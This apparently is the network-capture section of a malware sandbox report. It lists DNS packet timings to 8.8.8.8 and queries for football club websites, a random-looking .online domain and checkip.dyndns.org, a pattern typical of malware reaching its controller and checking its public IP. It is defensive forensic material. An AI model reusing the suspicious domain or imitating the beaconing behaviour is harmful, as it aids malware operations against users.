Mar 3, 2021 07:32:30.866972923 CET	62389	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:30.915710926 CET	53	62389	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:31.946068048 CET	49910	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:31.994899988 CET	53	49910	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:33.283364058 CET	55854	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:33.332020998 CET	53	55854	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:34.159535885 CET	64549	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:34.215567112 CET	53	64549	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:34.688008070 CET	63153	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:34.736697912 CET	53	63153	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:34.856776953 CET	52991	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:34.923253059 CET	53	52991	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:34.932082891 CET	53700	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:34.994386911 CET	53	53700	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.099450111 CET	51726	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.157663107 CET	53	51726	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.165258884 CET	56794	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.222950935 CET	53	56794	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.348416090 CET	56534	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.404588938 CET	53	56534	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.414616108 CET	56627	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.471177101 CET	53	56627	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.600744009 CET	56621	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.659245968 CET	53	56621	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:35.667860031 CET	63116	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:35.726114988 CET	53	63116	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:36.409004927 CET	64078	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:36.465142012 CET	53	64078	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:36.471574068 CET	64801	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:36.528810978 CET	53	64801	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:36.627219915 CET	61721	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:36.689012051 CET	53	61721	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:36.695275068 CET	51255	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:36.756551027 CET	53	51255	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:36.859992027 CET	61522	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:36.913986921 CET	53	61522	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:37.253715992 CET	52337	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:37.299556971 CET	53	52337	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:38.587021112 CET	55046	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:38.634485960 CET	53	55046	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:39.907771111 CET	49612	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:39.954253912 CET	53	49612	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:40.912060022 CET	49285	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:40.970788956 CET	53	49285	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:41.014993906 CET	50601	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:41.083637953 CET	53	50601	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:41.092152119 CET	60875	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:41.151532888 CET	53	60875	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:41.241235018 CET	56448	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:41.301558018 CET	53	56448	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:41.310772896 CET	59172	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:41.364888906 CET	53	59172	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.057456970 CET	62420	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.109064102 CET	53	62420	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.158243895 CET	60579	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.214519024 CET	53	60579	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.222795010 CET	50183	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.287520885 CET	53	50183	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.404943943 CET	61531	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.474299908 CET	53	61531	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.480515957 CET	49228	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.536982059 CET	53	49228	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:42.828573942 CET	59794	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:42.874681950 CET	53	59794	8.8.8.8	192.168.2.4
Mar 3, 2021 07:32:59.888843060 CET	55916	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:32:59.934712887 CET	53	55916	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:09.462579966 CET	52752	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:09.511307001 CET	53	52752	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:09.528876066 CET	60542	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:09.577732086 CET	53	60542	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:16.212007046 CET	60689	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:16.270684004 CET	53	60689	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:16.628288031 CET	64206	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:16.675851107 CET	53	64206	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:17.539491892 CET	50904	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:17.595207930 CET	53	50904	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:17.609217882 CET	57525	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:17.665916920 CET	53	57525	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:17.816699028 CET	53814	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:17.872422934 CET	53	53814	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:17.880419016 CET	53418	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:17.900171995 CET	62833	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:17.935010910 CET	53	53418	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:17.948966980 CET	53	62833	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:18.074151993 CET	59260	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:18.134624958 CET	53	59260	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:18.161024094 CET	49944	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:18.214960098 CET	53	49944	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:18.355093002 CET	63300	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:18.392937899 CET	61449	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:18.414529085 CET	53	63300	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:18.423691988 CET	51275	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:18.460753918 CET	53	61449	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:18.491153002 CET	53	51275	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:19.097948074 CET	63492	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:19.145138979 CET	53	63492	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:19.504616022 CET	58945	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:19.558902979 CET	53	58945	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:20.319613934 CET	60779	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:20.368338108 CET	53	60779	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:21.500754118 CET	64014	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:21.546544075 CET	53	64014	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:21.857192993 CET	57091	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:21.912770987 CET	53	57091	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:21.946985960 CET	55904	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:22.001106024 CET	53	55904	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:22.172677040 CET	52109	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:22.229645014 CET	53	52109	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:22.258773088 CET	54450	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:22.318089962 CET	53	54450	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:22.461647987 CET	49374	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:22.516659021 CET	53	49374	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:24.948777914 CET	50436	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:25.004262924 CET	53	50436	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.233890057 CET	62605	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:28.289423943 CET	53	62605	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.356957912 CET	54256	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:28.415400028 CET	53	54256	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.619283915 CET	52189	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:28.673571110 CET	53	52189	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.700820923 CET	56131	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:28.749480009 CET	53	56131	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.894350052 CET	62992	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:28.953452110 CET	53	62992	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:28.962501049 CET	54432	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:29.020746946 CET	53	54432	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:29.288110018 CET	57227	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:29.334115982 CET	53	57227	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:29.362998962 CET	58383	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:29.417547941 CET	53	58383	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.154738903 CET	63136	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.213105917 CET	53	63136	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.224097013 CET	50911	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.284377098 CET	53	50911	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.413728952 CET	63409	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.460227966 CET	53	63409	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.486130953 CET	59185	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.543412924 CET	53	59185	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.646157980 CET	64236	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.700206041 CET	53	64236	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.732822895 CET	56157	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.789995909 CET	53	56157	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:30.814457893 CET	55601	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:30.860234976 CET	53	55601	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:35.155527115 CET	52984	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:35.215151072 CET	53	52984	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:35.945122004 CET	51141	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:36.005142927 CET	53	51141	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:36.538078070 CET	53610	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:36.615756989 CET	53	53610	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:37.580415964 CET	61247	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:37.582530022 CET	65165	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:37.634682894 CET	53	61247	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:37.647142887 CET	53	65165	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:37.668989897 CET	52076	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:37.717753887 CET	53	52076	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:38.399084091 CET	54903	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:38.453341007 CET	53	54903	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:38.801379919 CET	55045	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:38.855547905 CET	53	55045	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:39.531089067 CET	54464	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:39.587487936 CET	53	54464	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:39.856695890 CET	50970	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:39.902582884 CET	53	50970	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:40.154944897 CET	55261	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:40.212335110 CET	53	55261	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:41.487643957 CET	59809	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:41.555751085 CET	53	59809	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:43.475291967 CET	51278	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:43.525887012 CET	53	51278	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:45.038299084 CET	51932	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:45.084351063 CET	53	51932	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:45.370821953 CET	59494	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:45.430804968 CET	53	59494	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:45.961044073 CET	55915	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:46.018682003 CET	53	55915	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:46.121999979 CET	49779	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:46.211906910 CET	53	49779	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:46.253437996 CET	49458	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:46.310463905 CET	53	49458	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:46.398875952 CET	57164	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:46.457242012 CET	53	57164	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:46.578435898 CET	49840	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:46.624591112 CET	53	49840	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.089886904 CET	57174	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.148020983 CET	53	57174	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.185765028 CET	58531	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.245492935 CET	53	58531	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.369138002 CET	49608	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.423557043 CET	53	49608	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.454143047 CET	55682	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.508368015 CET	53	55682	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.768070936 CET	62436	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.816179991 CET	53	62436	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:47.881875992 CET	61230	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:47.930784941 CET	53	61230	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:48.347923040 CET	64730	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:48.404227018 CET	53	64730	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:48.426461935 CET	60624	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:48.485964060 CET	53	60624	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:48.500741005 CET	62600	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:48.555011988 CET	53	62600	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:48.590243101 CET	53200	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:48.638396978 CET	53	53200	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:48.646229982 CET	61034	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:48.702945948 CET	53	61034	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:49.112596989 CET	57687	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:49.167685986 CET	53	57687	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:49.206794977 CET	49839	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:49.263853073 CET	53	49839	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:49.455410004 CET	57975	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:49.502974987 CET	53	57975	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:49.688296080 CET	57610	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:49.743415117 CET	53	57610	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:50.417705059 CET	55137	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:50.463593006 CET	53	55137	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:51.364824057 CET	59216	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:51.414638042 CET	53	59216	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:53.982697964 CET	63495	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:54.031616926 CET	53	63495	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:54.946743011 CET	64371	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:54.992670059 CET	53	64371	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:57.706346989 CET	54037	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:57.754899979 CET	53	54037	8.8.8.8	192.168.2.4
Mar 3, 2021 07:33:58.876838923 CET	53481	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:33:58.926964998 CET	53	53481	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:01.549890041 CET	58313	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:01.598763943 CET	53	58313	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:02.656780958 CET	58950	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:02.705902100 CET	53	58950	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:05.390466928 CET	55011	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:05.439433098 CET	53	55011	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:05.484024048 CET	57198	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:05.531305075 CET	53	57198	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:08.086750031 CET	60875	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:08.135585070 CET	53	60875	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:08.177808046 CET	55134	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:08.223766088 CET	53	55134	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:10.645207882 CET	53695	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:10.691195965 CET	53	53695	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:11.382144928 CET	50975	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:11.428154945 CET	53	50975	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:13.999397993 CET	65460	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:14.045253992 CET	53	65460	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:14.184828997 CET	63669	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:14.230690956 CET	53	63669	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:15.360810995 CET	51653	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:15.409730911 CET	53	51653	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:16.034152031 CET	56473	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:16.102859020 CET	53	56473	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:18.202532053 CET	61454	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:18.248436928 CET	53	61454	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:19.512433052 CET	54323	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:19.561146975 CET	53	54323	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:22.491592884 CET	59960	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:22.537813902 CET	53	59960	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:23.669692039 CET	50205	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:23.720048904 CET	53	50205	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:23.724396944 CET	50896	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:23.770189047 CET	53	50896	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:23.830288887 CET	59151	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:23.879146099 CET	53	59151	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:24.354899883 CET	56163	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:24.400877953 CET	53	56163	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:26.807842970 CET	57186	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:26.853717089 CET	53	57186	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:27.667732000 CET	61125	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:27.714523077 CET	53	61125	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:28.129539967 CET	61227	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:28.178060055 CET	53	61227	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:29.087033987 CET	54676	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:29.134080887 CET	53	54676	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:29.138192892 CET	65030	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:29.186912060 CET	53	65030	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:29.802025080 CET	61740	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:29.838116884 CET	59708	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:29.856136084 CET	53	61740	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:29.884139061 CET	53	59708	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:29.902439117 CET	54044	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:29.948285103 CET	53	54044	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:31.617628098 CET	56932	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:31.663480043 CET	53	56932	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:31.689716101 CET	57817	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:31.743813992 CET	53	57817	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:32.838840008 CET	59556	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:32.890182018 CET	53	59556	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:33.411266088 CET	57540	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:33.457215071 CET	53	57540	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:33.560586929 CET	62337	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:33.618338108 CET	53	62337	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:35.764523983 CET	57550	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:35.810533047 CET	53	57550	8.8.8.8	192.168.2.4
Mar 3, 2021 07:34:35.819072962 CET	63523	53	192.168.2.4	8.8.8.8
Mar 3, 2021 07:34:35.867737055 CET	53	63523	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 3, 2021 07:32:34.856776953 CET	192.168.2.4	8.8.8.8	0x98c9	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.932082891 CET	192.168.2.4	8.8.8.8	0x559c	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.099450111 CET	192.168.2.4	8.8.8.8	0x6ce3	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.165258884 CET	192.168.2.4	8.8.8.8	0x38d8	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.348416090 CET	192.168.2.4	8.8.8.8	0x6117	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.414616108 CET	192.168.2.4	8.8.8.8	0xb108	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.600744009 CET	192.168.2.4	8.8.8.8	0x22d1	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.667860031 CET	192.168.2.4	8.8.8.8	0x69c7	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.409004927 CET	192.168.2.4	8.8.8.8	0xb71f	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.471574068 CET	192.168.2.4	8.8.8.8	0x6399	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.627219915 CET	192.168.2.4	8.8.8.8	0x1149	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.695275068 CET	192.168.2.4	8.8.8.8	0xeeef	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.859992027 CET	192.168.2.4	8.8.8.8	0x754	Standard query (0)	0k10dk21kkeok2e.online	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.014993906 CET	192.168.2.4	8.8.8.8	0xe402	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.092152119 CET	192.168.2.4	8.8.8.8	0xd959	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.241235018 CET	192.168.2.4	8.8.8.8	0x6478	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.310772896 CET	192.168.2.4	8.8.8.8	0x3853	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:42.158243895 CET	192.168.2.4	8.8.8.8	0xd11e	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:42.222795010 CET	192.168.2.4	8.8.8.8	0x20dd	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:42.404943943 CET	192.168.2.4	8.8.8.8	0x3a2d	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:42.480515957 CET	192.168.2.4	8.8.8.8	0xcac0	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.462579966 CET	192.168.2.4	8.8.8.8	0xc4eb	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.528876066 CET	192.168.2.4	8.8.8.8	0xaf30	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.539491892 CET	192.168.2.4	8.8.8.8	0x48cf	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.609217882 CET	192.168.2.4	8.8.8.8	0x4ce3	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
